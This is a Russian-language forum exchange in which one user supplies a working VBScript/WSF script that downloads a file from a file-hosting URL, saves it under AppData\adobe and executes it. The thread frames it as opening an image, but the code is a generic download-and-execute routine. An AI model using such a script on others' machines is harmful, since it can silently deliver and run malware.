[Iska]

а можно еще в конце запуск файла добавить? »

Какого файла?

[Hancog]

который будут сохранятся в аппдату,а именно картинку

[Iska]

Пробуйте:

читать дальше »

Код:

<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
<job>
	<script language='VBScript'>
		<![CDATA[
			Option Explicit
			
			Const adTypeBinary = 1
			Const adModeReadWrite = 3
			Const adSaveCreateOverWrite = 2
			
			
			Dim strUrl
			Dim strDestPath
			
			Dim objFSO
			Dim objShell
			Dim objXMLHTTPRequest
			
			Dim strFullName
			
			
			strUrl = "http://tau.rghost.ru/57502402/image.png"
			
			Set objFSO   = WScript.CreateObject("Scripting.FileSystemObject")
			Set objShell = WScript.CreateObject("Shell.Application")
			
			strDestPath = objFSO.BuildPath(objShell.NameSpace("shell:AppData").self.Path, "adobe")
			
			If objFSO.FolderExists(strDestPath) Then
				Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")
				
				objXMLHTTPRequest.Open "GET", strUrl,False
				objXMLHTTPRequest.send
				
				If objXMLHTTPRequest.status = 200 Then
					strFullName = objFSO.BuildPath(strDestPath, objFSO.GetFileName(decodeURI(strUrl)))
					
					With WScript.CreateObject("ADODB.Stream")
						.Mode = adModeReadWrite
						.Type = adTypeBinary
						.Open
						.Write objXMLHTTPRequest.responseBody
						.SaveToFile strFullName, adSaveCreateOverWrite
					End With
					
					objShell.ShellExecute strFullName
				Else
					WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)
				End If
				
				Set objXMLHTTPRequest = Nothing
			Else
				WScript.Echo "Destination path [" & strDestPath & "] not found."
				WScript.Quit 1
			End If
			
			Set objShell = Nothing
			Set objFSO   = Nothing
			
			WScript.Quit 0
		]]>
	</script>
	
	<script language='JScript'>
		<![CDATA[
			function decodeURI(sUrl) {
				return decodeURI(sUrl);
			}
		]]>
	</script>
</job>

Вопрос: в чём смысл сохранения именно в «shell:appdata», а не, скажем, в «%Temp%»?

[Hancog]

Да можно и в темп было,я просто не когда не заходил в папку тем и не пользовался,а с аппдатой уже знаком